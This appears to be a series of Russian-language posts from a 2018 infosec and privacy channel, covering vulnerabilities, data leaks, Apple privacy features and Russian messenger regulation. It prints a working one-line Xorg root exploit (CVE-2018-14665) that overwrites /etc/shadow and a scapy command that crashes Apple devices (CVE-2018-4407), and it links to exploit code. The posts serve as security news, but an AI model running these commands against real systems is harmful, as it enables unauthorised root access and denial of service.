(Если кого-то удивляет такой фокус моих постов на том, что говорит Apple о конфиденциальности персональных данных, я просто хочу напомнить, что из битвы двух якодзун Apple vs ФБР за сохранность шифрования iPhone, по сути, и вырос этот канал. )

Обнаруженная уязвимость CVE-2018-14665 затрагивает OpenBSD и большинство дистрибутивов Linux (включая Debian, Ubuntu, Red Hat, Fedora), и выглядит так:

cd /etc; Xorg -fp "root::16431:0:99999:7:::"  -logfile shadow  :1;su

Эта уязвимость позволяет злоумышленникам с ограниченным доступом к системе (Например, через сессию SSH) повысить свои привилегии до уровня root.

Больше информации об уязвимости тут:
https://www.securepatterns.com/2018/10/cve-2018-14665-xorg-x-server.html
и тут
https://lists.x.org/archives/xorg-announce/2018-October/002927.html

У OpenBSD уже есть фикс, для ваших любимых дистрибутивов линуксов следите за апдейтами у вендоров.

Сегодня у нас коллекция ссылок на тему.

1. Хакеры, в свое время взломавшие Uber и получившие доступ к миллионам пользовательских записей (а затем вынудили компанию заплатить выкуп, и замаскировать это под bug bounty), попались на другом взломе и были арестованы ФБР
https://techcrunch.com/2018/10/25/uber-hackers-indicted-lynda-breach/

2. База данных сотрудников Сбербанка утекла в сеть. Об этом стало известно еще на прошлой неделе (ссылку на базу прислал один из читателей), но теперь появилось и почти официальное подтверждение.
"О проблеме доложили Герману Грефу, который уже выразил свое недовольство, отметил один из собеседников "Ъ" в банке."
https://www.kommersant.ru/doc/3785052

3. Google теперь требует от официально лицензирующих Android компаний обязательно два года выпускать обновления безопасности для смартфонов под управлением этой операционной системы
https://www.theverge.com/2018/10/24/18019356/android-security-update-mandate-google-contract

Я уже выразил свое недовольство небольшим количеством ссылок сегодня.

Сразу два небольших апдейта о двух популярных мессенджерах, которые оба много говорят о своей безопасности. Действительно, и Telegram, и Signal позиционируют себя как мессенджеры с шифрованием, и предназначенные для общения таким образом, чтобы коммуникации пользователей не попадались на глаза кому попало. Компании используют разный подход, в частности, сообщения у Telegram по умолчанию не шифруются оконечным шифрованием — для этого нужно запускать специальные secret chats, в то время как у Signal все коммуникации по умолчанию зашифрованы. Но периодически и тот, и другой мессенджер попадают в новости с очередным ляпом в безопасности, поэтому сложно рекомендовать тот или иной. В интернете можно найти не одно исследование безопасности этих мессенджеров (вот, например, навскидку нагугленное исследование Telegram студентами MIT)

Например, в свое время у Signal оказалась лажа с сохранением истории чатов на Маке в открытом текстовом виде (к нему потом вышел апдейт). А тут прошла новость о том, что десктопный вариант Telegram к хранимым на компьютере данным с недостаточной защитой - база данных не шифруется, и поэтому даже контент секретных чатов можно прочитать, получив доступ к компьютеру пользователя. В целом, надо бы сказать, что, на мой взгляд, это не так ужасно, как могут попытаться подать некоторые СМИ.


Во-первых, Telegram никогда и не обещал шифровать данные на компьютере — компания обещала безопасные коммуникации, то есть шифрование общения в процессе, и хранение данных в это обещание не входит. А во-вторых, считается, что если уж злоумышленники получили доступ к содержимому пользовательского устройства, то гарантировать недоступность данных практически невозможно - это вопрос желания получить доступ к информации, времени и денег. Допустим, Telegram начнет шифровать содержимое базы данных паролем для открытия приложения. Какое-нибудь вредоносное ПО "вынюхает" этот пароль первым делом при его вводе. Так что в лучшем случае, что можно предложить пользователям в этом случае — это шифровать диск с помощью FileVault на Маке или BitLocker на Windows, и не читать до обеда советских газет.

А, кстати, еще про Signal. Разработчики мессенджера собираются выкатить новую фичу, которая позволит полностью скрыть личность отправителя сообщений - специальный "шифрованный конверт" заменит отправителя на специальный краткосрочный сертификат, используемый для подтверждения личности отправителя для сервера. А вот получатель этой информации не узнает. С точки зрения конечного пользователя ничего не изменится и будет выглядеть точно так же, как и сейчас.

https://signal.org/blog/sealed-sender/

Apple вчера опубликовала интересный документ про процессор T2, который в современных Маках обеспечивает довольно много функциональности:
- безопасную загрузку компьютера
- работу файловой системы APFS
- работу Touch ID на Маке

Весь PDF (15 страниц) сам по себе представляет интересный и познавательный материал, рекомендую почитать. Иногда пишут, что Apple сознательно блокирует ремонт компьютеров "на стороне", потому что хочет сама ремонтировать компьютеры и брать за это много денег. Не без этого, конечно, но вообще надо понимать, что компьютеры - это очень хороший и мощный вектор атаки на пользователя, и проверять целостность этого вектора это хорошая практика. Именно это и делает процессор T2 при загрузке компьютера, а сторонний ремонт и замена каких-то комплектующих может нарушать этот процесс.


Но еще один интересный момент скрывается на 13 странице документа:

All Mac portables with the Apple T2 Security Chip feature a hardware disconnect that ensures that the microphone is disabled whenever the lid
is closed. This disconnect is implemented in hardware alone, and therefore prevents any software, even with root or kernel privileges in macOS, and even the software on the T2 chip, from engaging the microphone when the lid is closed. (The camera is not disconnected in hardware because its field of view  is completely obstructed with the lid closed.)

Оказывается, теперь при закрытии крышки ноутбука микрофон аппаратно отключается от остальных систем компьютера, что предотвращает возможность любого ПО, вплоть до вредоносного ПО, которое каким-то образом получило права на уровне ядра, активировать микрофон компьютера. (А камеру не надо блокировать, потому что при закрытой крышке все равно никто ничего не увидит).  Интересно другое — это, кажется, первое практически публичное признание Apple того факта, что у Маков тоже бывает вредоносное ПО.

несколько полезных и интересных ссылок на почитать:

- статья у ЛК на тему различных методов двухфакторной аутентификации (ура, я наконец-то написал это с первого раза, а не "авторизации")
https://www.kaspersky.ru/blog/2fa-practical-guide/21495/?es_p=7871008

- интересная уязвимость в Android (исправлена еще в июльском апдейте, а затем доисправлена в сентябрьском), позволяющая повышать права в системе приложениям, которым это не положено. Очень много технической информации:
https://blog.zimperium.com/cve-2018-9411-new-critical-vulnerability-multiple-high-privileged-android-services/

- недокументированные API в Google Home, позволяющие простым запросом перегружать устройства, получать списки будильников, отключать уведомления и заставлять забывать их о беспроводной сети:
https://jerrygamblin.com/2018/10/29/google-home-insecurity/

За последние пару дней накопилось сразу несколько интересных заметок про всякие вещи, связанные с информационной безопасностью и Apple одновременно, поэтому я собрал их все в одном посте.

Вчера Apple наконец-то выложила обновленные статьи о различных улучшениях безопасности (читай — исправленных уязвимостях) в последних версиях операционных систем. Ссылки на содержимое апдейтов в каждой операционной системе, а также в других продуктах компании, можно найти тут https://support.apple.com/en-us/HT201222. Я думаю, что достаточно упомянуть, что термин "arbitrary code" встречается в статье о содержимом апдейтов macOS 10.14 Mojave двадцать один раз!

Там же и такая прекрасная уязвимость под номером CVE-2018-4407 (https://lgtm.com/blog/apple_xnu_icmp_error_CVE-2018-4407) в обработке получения ICMP пакетов, позволяющая "завалить" работающие в той же сети Мак с High Sierra и ios-устройства с iOS 11, как продемонстрировано на этом видео в твите (https://twitter.com/kevin_backhouse/status/1057352656560287746):

команда для исполнения этой уязвимости тоже умещается в один твит:
pip install scapy
sudo scapy
send(IP(dst=“Target IP“,options=[IPOption(“A”*8)])/TCP(dport=2323,options=[(19, “1"*18),(19, “2”*18)]))

Ну и, как обычно, любители потестировать экран блокировки iOS, обнаружили возможность получить доступ к контактам в заблокированном устройстве в свежевышедшей iOS 12.1:
https://youtu.be/ojigFgwrtKs

Шаги там не самые тривиальные, но тем не менее, доступ к данным адресной книги получить можно. Мне кажется, что кому-то в отделе тестирования Apple неплохо было бы сделать внушение, потому что ну сколько можно уже, это далеко не первый подобный случай.

Еще несколько интересных ссылок на тему:

1. iRobot — производитель известных роботов-пылесосов — договорился с Google о том, что будет делиться с последней данными о картах помещений, в которых убирают роботы. Последние модели пылесосов научились делать карты помещений с помощью данных одометрии и изображений с низким разрешением. Google считает, что может улучшить работу своих умных гаджетов для дома с помощью этих данных. Казалось бы, что может пойти не так? (Google утверждает, что эти данные не будут использоваться для рекламы, но кто из нас, положа руку на сердце, реально поверит сейчас в этом Google?)

https://www.theverge.com/2018/10/31/18041876/google-irobot-smart-home-spatial-data-mapping-collaboration

2. Уязвимость для устройств Cisco, которые работают с ПО Adaptive Security Appliance (ASA) и Firepower Threat Defense (FTD).
https://tools.cisco.com/security/center/content/CiscoSecurityAdvisory/cisco-sa-20181031-asaftd-sip-dos
Успешная эксплуатация уязвимости приводит к крешам и перезагрузке устройств. Патча пока что еще нет, но по ссылке есть рекомендации о том, как уменьшить вероятность пострадать от этой уязвимости.

3. Красивая коллекция устройств для подслушивания, подсматривания и слежки
https://comsecllc.com/spy-gadgets

За выходные мне примерно миллион раз прислали ссылку на историю о том, как оператор «Комкор» (оперирующий под торговой маркой «АКАДО Телеком») в течение длительного времени размещал персональную информацию о клиентах в открытом доступе. Эту утечку данных из базы RIPE обнаружил основатель сервиса TgVPN Владислав Здольников, о чем он рассказал в своем посте:

Да, Комкор (Акадо) выкладывает персональные данные своих клиентов прямо в БД RIPE, которая доступна с помощью whois.
Там всё:
ФИО клиента (или название компании), адрес подключения, телефон клиента.

После обращения оператор убрал данные по IP-адресам в блоке person базы данных RIPE в двух приведенных примерах, при этом они отказались скрыть информацию из блока inetnum, где указывается ФИО (или название компании) пользователей.

Собственно, чем это плохо:
Для оператора такая дыра — катастрофа дважды, потому что:
1) Собственно, песональные данные клиентов — в публичном доступе. Какое доверие может быть к такому оператору?
2) Твоих клиентов могут просто переманивать другие операторы, за полчаса просканировав все IP-адреса и собрав базу данных.
3) Можно узнать IP-адреса определённого клиента или устройства, очень несложно забить канал трафиком и выключить, таким образом, интернет у клиента.
В случае с ведомственными объектами, большое количество которых подключено к Акадо — это же прямая угроза безопасности города.

Рекомендую почитать весь пост для ознакомления с деталями.

‌Очередная "история дня", связанная с фейлом в шифровании, в этот раз — в SSD-дисках. Исследователи университета Radboud в Нидерландах сообщили об обнаруженных уязвимостях в некоторых дисках SSD, которые позволяют обойти функцию шифрования диска и получилось доступ к данным на диске без использования пароля для расшифровки данных. Уязвимость затрагивает только те SSD-модели, поддерживающие аппаратное шифрование, где функции шифрования перенесены в отдельный встроенный чип, отдельный от главного процессора (модели Samsung, Crucial). Проблема заключается в кривой реализации спецификаций ATA Security и TCG Opal по внедрению аппаратного шифрования в самошифрующихся дисках.

Полный отчет можно получить тут (PDF), но вот из него сразу список некоторых затронутых моделей дисков:
(https://alexmak.net/wp-content/uploads/2018/11/Screen-Shot-2018-11-05-at-8.50.05-PM.png)
(это только те, что были протестированы в рамках исследования)


Я не буду пересказывать весь отчет, но в нем есть прекрасные вещи:
- мастер-пароль, указанный в руководстве пользователя, позволяющий расшифровать данные
- в некоторых случаях мастер-пароль был пустой строкой, и это позволяло получить доступ путем изменения одного бита в памяти устройства
- отсутствие криптографической связи между выбранным пользователем паролем и реальным ключом для шифрования диска
и тд.

К сожалению, ситуация становится хуже для пользователей Windows, использующих систему шифрования BitLocker - программного шифрования, встроенного в Windows. BitLocker устроен таким образом, что когда BitLocker обнаруживает аппаратное шифрование, то он говорит "а, ну тут все норм, я пошел", оставляя шифрование на усмотрение самого устройства. Собственно, это означает, что, с учетом всех этих обнаруженных уязвимостей в уже указанных дисках Samsung и Crucial (а также во множестве еще неизвестных моделей с кривой реализацией ATA Security и TCG Opal), данные оказываются весьма доступными для тех, кто может пожелать получить к ним доступ. Групповой политикой BitLocker можно заставить шифровать данные и программным методом, но это требует переформатирования дисков. Исследователи в своем отчете также рекомендуют использовать VeraCrypt вместо аппаратного шифрования.

Кроме самого исследования вот еще интересные материалы на эту тему:
- https://medium.com/asecuritysite-when-bob-met-alice/doh-what-my-encrypted-drive-can-be-unlocked-by-anyone-a495f6653581?sk=064d23e289e95ac61d7c2c98bb972790
- https://www.zdnet.com/article/flaws-in-self-encrypting-ssds-let-attackers-bypass-disk-encryption/

Берегите там свои диски!

В России происходит какое-то веселье с проверкой пользователей мессенджеров. Теперь, я так понимаю, компания, оперирующая тем или иным мессенджером, должна будет вместе с операторами связи обеспечивать идентификацию пользователя по номеру его мобильного телефона. Видимо, нужно будет проверить, что человек, регистрирующийся в мессенджере, и человек, пользующийся этим номером телефона ( владелец SIM-карты) - это одно и то же лицо.

Изначально материал об этом появился в газете Известия:
https://iz.ru/808022/inna-grigoreva/polzovatelskoe-oglashenie-messendzhery-berut-pod-totalnyi-kontrol

Постановление об этом уже опубликовано на правительственном портале:
http://publication.pravo.gov.ru/Document/View/0001201811060001

Разбираться с этой историей пытаются в TJournal:
Раз https://tjournal.ru/79496-medvedev-podpisal-novye-pravila-identifikacii-polzovateley-messendzherov
Два https://tjournal.ru/79507-pravitelstvo-rossii-zapretilo-anonimnoe-ispolzovanie-messedzherov-eto-budet-rabotat-est-mnogo-voprosov

Главное — теперь надо помнить, что при авторизации в некоторых мессенджерах после 5 мая 2019 года информация об аккаунтах может передаваться операторам связи, а значит властям. Вместе с законом Яровой, обязывающим хранить и выдавать недавнюю переписку пользователя, власти будут не только знать, кому, когда и что писал пользователь, но и кто этот пользователь по паспорту. В остальном, судя по всему, почти ничего не изменится.

Статья Саши Плющева https://www.dw.com/ru/комментарий-власти-целились-в-мессенджеры-а-попали-во-в-контакте/a-46172226

Пару недель назад я писал (https://alexmak.net/2018/10/18/apple-privacy/) о том, что Apple обновила раздел “Конфиденциальность” на своем сайте, и в том числе рассказывал о запуске возможности загрузки данных, которые хранятся у компании о пользователе. Тогда эти данные были доступны только пользователям из Австралии, США, Новой Зеландии и Канады, но теперь их можно заказывать и пользователям из России.

Для этого вам нужно зайти на эту страницу https://privacy.apple.com/?r=1&language=RU-RU), залогиниться со своим Apple ID, и выбрать опцию “Получение копии данных”. Там нужно отметить чекбоксы, чтобы получить соответствующие данные.

Кроме этих данных, можно запросить также документы, хранящиеся в iCloud Drive, почту iCloud и фотографии iCloud Photos, но эти данные занимают много места, и у пользователей и так должны быть, так что не вижу особого смысла в их запросе (разве что вы хотите потом многогигабайтные архивы качать).

После этого Apple берет до 7 дней на сбор данных, и затем присылает письмо, кликнув на кнопку в котором можно (после логина, опять же) скачать свои данные. В моем случае это получился архив размером около 68МБ с вложенными архивами, в каждом из которых находится информация по различным категориям данных. Полезность этого архива будет очень индивидуальной, и каких-то открытий из серии “ТАК ОНИ ОБО МНЕ ЕЩЕ И ЭТО ЗНАЮТ”, пожалуй, не будет, но что-то интересное там найти можно. Часть файлов в формате csv, часть в json, и количество данных в них будет отличаться в зависимости от того, насколько активным пользователем экосистемы Apple вы являетесь.

Вот, например, список файлов по разделу магазинов iTunes/iBooks/App Store, и Apple Music:

Identifier Information.json.zip
App_Store_iTunes_Store_iBooks_Store_Apple_Music
Apple Music Activity
Social and Connect Post Information
Apple Music – Recently Played Containers.csv
Apple Music – Recently Played Tracks.csv
Apple Music Library Activity.json.zip
Apple Music Library Playlists.json.zip
Apple Music Library Tracks.json.zip
Apple Music Likes and Dislikes.csv
Apple Music Play Activity.csv
Music – Favourite Stations.csv
Music – Liked Radio Tracks.csv
MusicOnboarding-18582402-Artists-18102018.csv
MusicOnboarding-18582402-Genres-18102018.csv
Apps and Services Analytics
notifications.csv
Stores Activity
Account and Transaction History
Account History – Account Details.csv
Account History – Apple Media Products Welcome Page Action.csv
Account History – TV Provider Opt-In History.csv
Billing Information History.csv
Customer Device History – Computer Authorizations.csv
Customer Device History – iTunes in the Cloud Authorization.csv
Customer Device History – Push Notification Authorization.csv
iTunes and App Store Hidden Purchases.csv
iTunes Match Re-download History.csv
Pre-order History.csv
Store Free Transaction History.csv
Store Re-download and Update History.csv
Store Transaction History.csv
Subscription History.csv
U2 Songs of Innocence Album Information.csv
Apple TV and Podcast Information
Apple TV Bookmarks.csv
Apple TV Favorites and Wishlist.csv
Podcasts Playstate.csv
TV App Favorites and Activity.json
Your Podcasts.csv
iBooks Information
iBooks Collection Information.json
iBooks Global Annotations.json
iBooks User Annotations.json
Other Activity
AMP Purchase History Page & Click Activity.csv
Apple TV Movie Store Actions.csv
Apps And Service Analytics.csv
Concerns.csv
iTunes Wishlist.csv
Limit Ad Tracking Information.csv
Media Preview – ebooks.csv
Media Preview – previewed.csv
Media Preview – tagged.csv
Playlist Moderation.json
Podcast Preferences.csv
Review profile.json
Reviews.csv
TV App Notifications.csv
Votes.csv
Play Position Information
Playback Activity.csv
Social and Connect Post Information
Reported Concerns – User Review.csv
Testflight
Testflight Data History-acceptedTerms.csv
Testflight Data History-betaApps.csv
Testflight Data History-crashes.csv
Testflight Data History-devices.csv
Testflight Data History-installs.csv
Testflight Data History-sessions.csv
App_Store_iTunes_Store_iBooks_Store_Apple_Music.zip

iTunesGiftCardCreditRedemptionHistory_18582402_10182018033350192.zip

По остальным разделам файлов меньше, но в сумме все равно набирается некисло. Просматривать это все — то еще удовольствие, и поэтому я не буду перечислять все, что я нашел о себе в этом архиве, просто упомяну то, что мне показалось интересным.

– Я нашел список тех треков, которым я в свое время в iTunes/Apple Music ставил лайки или дизлайки:


– В файле Apple Music Activity можно посмотреть список всей проигранной когда-либо музыки в сервисе, включая длину трека, на которой прервалось воспроизведение, и причина прекращения (прокрутка, пропуск, пауза, и тд)

– В информации об аккаунте я обнаружил, что он был зарегистрирован в системе Apple 4 мая 2002 года (я стар, я супер-стар).

– В списке информации об устройствах, зарегистрированных на мой Apple ID, можно найти последний IP-адрес, с которого зарегистрирован heartbeat этого устройства

– Нашел список всех покупок в онлайн-магазине Apple Store и все адреса, куда отправлялись покупки (сначала напрягся, когда увидел в списке адреса, которые мне ничего не говорили и где я никогда не бывал. Потом по остальным данным понял, что некоторые покупки я отправлял друзьям, покупая что-то по их просьбе).

– В архиве я также обнаружил список сетей WiFi, к которым я когда-либо подключался. Частично этот список можно посмотреть в системных настройках, но я периодически этот список чищу в компьютерах (он синхронизируется между устройствами). Но интересно, что в файле, который находится в скачиваемом архиве, есть сети, которые я уже удалил на компьютере (включая дату последнего подключения).

Видимо, надо писать в Apple, чтобы они теперь удалили их у себя на сервере, если я не хочу, чтобы они там хранились.

Что не попало в архив из облака — сообщения из переписки iMessage, что ожидаемо, потому что сообщения шифруются, и при использовании функции iMessages in iCloud данные шифруются так, что даже Apple не может прочитать их, несмотря на их хранение в iCloud:

Программа «Сообщения» в iCloud также использует сквозное шифрование. Если включено резервное копирование iCloud, в резервную копию включается копия ключа, защищающего программу «Сообщения». Это обеспечивает возможность восстановления программы «Сообщения» в случае потери доступа к службе «Связка ключей iCloud» и доверенным устройствам. При отключении резервного копирования iCloud на вашем устройстве генерируется новый ключ для защиты будущих сообщений, который не будет храниться компанией Apple.

Надо будет подумать над созданием архива, чтобы в старости можно было почитать какие-то свои древние переписки. Хорошо, что я сохранил свою историю чатов, еще когда это все называлось iChat, так что будет потом, качаясь у камина, почитаю. Главное — хранить это в зашифрованном виде. (Кстати, даже немного удивительно, что Messages сохранили обратную совместимость с файлами .ichat).

PS А вообще интересный эксперимент, рекомендую и вам повторить — вдруг что-то интересное найдете.

DuckDuckGo тут напомнили, что можно заглянуть в рекламные настройки Facebook, чтобы увидеть список рекламодателей, которые загрузили вашу контактную информацию в ФБ для показа рекламы. То есть не просто таргетирование "белый мужчина такого-то возраста в таком-то городе с интересом к автомобилям", а именно конкретно вашу информацию - имейл или номер телефона.

Settings > Ad preferences > Advertisers you've interacted with > Advertisers who uploaded a contact list with your info > See all

(Эту функциональность Facebook никогда и не скрывал — если вы оставляете свою информацию в какой-то компании, и она потом хочет показать вам рекламу, то она может загрузить свой контактный список в Фейсбук и показывать рекламу совершенно конкретным людям).

Но я решил ради интереса заглянуть в свой список, что там у меня, и увидел ТАКОЕ... Кликай скорей, чтобы узнать!


Я просто покажу конец списка, чтобы вы увидели, сколько там всего позиций:
(https://alexmak.net/wp-content/uploads/2018/11/Screen-Shot-2018-11-07-at-8.29.09-PM.png)

973 позиции, большинство из которых — это автодилеры всех возможных автомобильных марок, в основном из тех мест, о которых я никогда не слышал, и которые вообще далеко от меня. Подозреваю, кто-то из тех дилеров, в которых я бывал или покупал автомобили, слил мой адрес электронной почты в некую единую базу, которую затем либо покупают, либо которой просто пользуются сотни автодилеров по всей стране, и вот результат. И, главное, никак от этого не избавиться, кроме как самовыпилиться из ФБ (ну, или менять телефон, имейл, имя и планету проживания).

Инструкцию, чтобы посмотреть рекламодателей по вашей информации, дали DuckDuckGo в своем твите. Я смог получить полный список в одной странице только на мобильной версии Facebook (кликайте сюда, чтобы сразу видеть ваш список), но, возможно, это ФБ, как всегда, экспериментирует с A/B тестами, и десктопная страница ваших настроек будет выглядеть немного по-другому, чем моя. Хорошо, что я редко хожу в ФБ и еще реже читаю там ленту, что избавляет меня от просмотров рекламы.

Еще несколько интересных ссылок на тему инфобезопасности:

1. Кстати, о Facebook. На прошлой неделе встретил информацию о том, что в интернете появились на продажу 81 тысяча учетных записей пользователей социальной сети.
https://www.digitalshadows.com/blog-and-research/81000-hacked-facebook-accounts-for-sale-5-things-to-know/
Тут есть дополнительная информация от компании, которая помогала BBC с оригинальной статьей:
- 81 тысяча аккаунтов — это только те, для которых в архиве есть личная переписка (и другие данные). Данные профиля включают в себя имена, адреса. контактную информацию, список друзей и переписку. Фотографий в профилях нет. Общее количество профилей в архиве — 257 256. Большинство этих аккаунтов (30%) — пользователи ФБ из Украины, еще 9% - пользователи из России. Продавец также утверждает, что у него есть 120 млн аккаунтов. Метод, которым получены эти данные, неизвестен, хотя есть подозрение на какое-то расширение в браузере.

2. Обнаружена еще одна side-channel уязвимость в процессорах Intel, позволяющая злоумышленникам получить доступ к криптографическим ключам и другой конфиденциальной информации. Встречайте PortSmash!
Дополнительная информация тут: https://seclists.org/oss-sec/2018/q4/123. Во всем виноват Hyper-Threading, когда, грубо говоря, одно приложение из своего треда на процессоре может, по сути, заглянуть в другой тред — изучив доступ к кэшам и тайминг выполнения операций. Выход один — отключать HT, хотя Intel считает, что проблемы нет, и нужно просто писать такой код, который будет устойчив к атакам подобного рода. Эта история не имеет отношения к Spectre и проч. уязвимостям спекулятивного исполнения.


3. Обнаружены две уязвимости в Bluetooth Low Energy чипах Texas Instruments - чипы, которые используются в корпоративных роутерах производителей таких как Aruba, Cisco и Meraki. Первая уязвимость называется Bleeding Bit, вторая вроде бы без названия, но в итоге одна обеспечивает memory overflow и последующее исполнение кода на устройстве, а вторая позволяет установить зараженную прошивку на роутеры Aruba, потому что устройство не проверяет доверенность прошивки. Для эксплойта нужно быть в пределах досягаемости Bluetooth

Ссылки по теме:
https://www.kb.cert.org/vuls/id/317277/
https://www.arubanetworks.com/assets/alert/ARUBA-PSA-2018-006.txt
https://meraki.cisco.com/blog/cisco-meraki-customer-advisories/
https://tools.cisco.com/security/center/content/CiscoSecurityAdvisory/cisco-sa-20181101-ap

4. 0-day в Virtual Box
https://github.com/MorteNoir1/virtualbox_e1000_0day/blob/master/README.md

5. Утечка данных клиентов американского отделения банка HSBC
https://www.databreachtoday.com/hsbc-bank-alerts-us-customers-to-data-breach-a-11685

Сегодня опять коллекция, и к тому же очень интересных.

1. Помните, несколько дней назад я писал про целый набор всяких лаж разной степени лажовости в аппаратном шифровании данных внешних дисков? Там еще возникала дополнительная коллизия в случае с программным шифрованием с помощью BitLocker, где BitLocker, обнаружив аппаратное шифрование на диске, говорил "ну, мне тут делать больше нечего".

Так вот, Microsoft выпустила рекомендации по поводу того, как правильно сконфигурировать BitLocker, чтобы шифрование BitLocker применялось даже в случае обнаружения аппаратного шифрования на дисках:
https://portal.msrc.microsoft.com/en-US/security-guidance/advisory/ADV180028

2. Полиция расшифровала 258 тысяч сообщений после взлома шифрования приложения IronChat, которое продвигало себя как приложение для безопасного чата. Интересная статья о том, почему это шифрование вообще могли взломать (потому что самопальное шифрование - это очень сильный риск, кгхм... Телеграм... кгхм...)
https://arstechnica.com/information-technology/2018/11/police-decrypt-258000-messages-after-breaking-pricey-ironchat-crypto-app/

3. Сайт производителя дронов DJI оказался насыщен не только информацией о дронах, но и уязвимостями, которые могли позволить злоумышленникам получить доступ к пользовательским логам, картам и хранящимся видео. Сама уязвимость требовала тех еще танцев в гамаке, но DJI все равно позакрывала соответствующие дыры:
https://techcrunch.com/2018/11/08/security-flaw-in-dji-apps-exposed-accounts-to-hackers-and-drone-live-feeds/

MUST READ
4. И в рамках чтения на выходные — ФЕЕРИЧНЕЙШАЯ история о том, как спецслужбы Ирана смогли с помощью Google вычислить сайты, через которые общались агенты ЦРУ со своими источниками, что привело к смерти десятков источников. Сама история не новая, описанные в статье события происходили почти 10 лет назад, с 2009 по 2013 год, но масштабность и последствия от этого меньше не становятся. Некий двойной агент показал определенный сайт, через который происходил обмен информацией, и иранская разведка смогла с помощью Google обнаружить подобные сайты, которые использовали некий общий компонент (который, видимо, как раз и можно было идентифицировать с помощью Google и продвинутых операторов поиска). Читается это все как увлекательнейший шпионский роман, пока не вспоминаешь, что за этими буквами стоят реальные жизни людей:
https://www.yahoo.com/news/cias-communications-suffered-catastrophic-compromise-started-iran-090018710.html

Быстрый и безопасный DNS 1.1.1.1 теперь доступен на мобильных платформах в виде удобного и простого приложения:

Для Android
https://play.google.com/store/apps/details?id=com.cloudflare.onedotonedotonedotone

Для iOS
https://itunes.apple.com/us/app/1-1-1-1-faster-internet/id1423538627?mt=8

Больше здесь:
https://blog.cloudflare.com/1-thing-you-can-do-to-make-your-internet-safer-and-faster/

Привет,

Сегодня нет времени объяснять, поэтому коллекция ссылок (зато большая) по теме:

1. Ошибка в Facebook, позволявшая сайтам видеть лайки пользователей и их друзей
https://techcrunch.com/2018/11/13/facebook-bug-website-leak-likes-interests-profile/

2. Женщина, арестованная за участие в перестрелке, удаленно очистила iPhone X, который у нее изъяла полиция
https://dailygazette.com/article/2018/11/08/police-woman-remotely-wipes-phone-in-evidence-after-shooting

3. Исследователь обнаружил уязвимость в Steam, позволявшую ему получать лицензии на любые игры, и награда нашла героя!
https://www.theregister.co.uk/2018/11/09/valve_steam_key_vulnerability/

4. Уязвимость в VirtualBox, дающая выход из виртуальной машины (много интересных деталей)
https://www.voidsecurity.in/2018/11/virtualbox-vmsvga-vm-escape.html

5. странная история с тем, что некоторые владельцы учетных записей Apple ID обнаружили их заблокированными "по соображениям безопасности" (возможно, какой-то массовый брут-форс)
https://9to5mac.com/2018/11/13/some-iphone-users-finding-their-apple-id-accounts-have-been-inexplicably-locked-requiring-password-resets/

6. проект по разработке безопасных аппаратных хранилищ
https://keystone-enclave.org

7. Раздел на GitHub касательно уязвимости в Safari/macOS 10.13.3 c Pwn2Own2018, приводящей к удаленному исполнению кода
https://github.com/saelo/pwn2own2018

И Фреймворк с ней для metasploit
https://github.com/rapid7/metasploit-framework/pull/10944

Привет! Если вы вдруг пропустили историю про Bloomberg, китайские чипы, Apple и Amazon (а что вы тогда в канале делаете?), то она теперь есть еще и в аудио-формате!

​​В новом Бородокасте сразу две необычных штуки. Во-первых, модуль с Алексом Пацаем из канала об информационной безопасности теперь будет регулярным; в этом выпуске он рассказал о ситуации с Bloomberg и Super Micro. Во-вторых, Владимир Плотников составил нам компанию вместо Антона и оживил подкаст своим жизненным опытом.

А так, мы рассказали, как контролируем расходы (и контролируем ли), обсудили закон об обязательной идентификации пользователей в мессенджерах и мультфильм Next Gen.

• Слушать подкаст на сайте
• Скачать MP3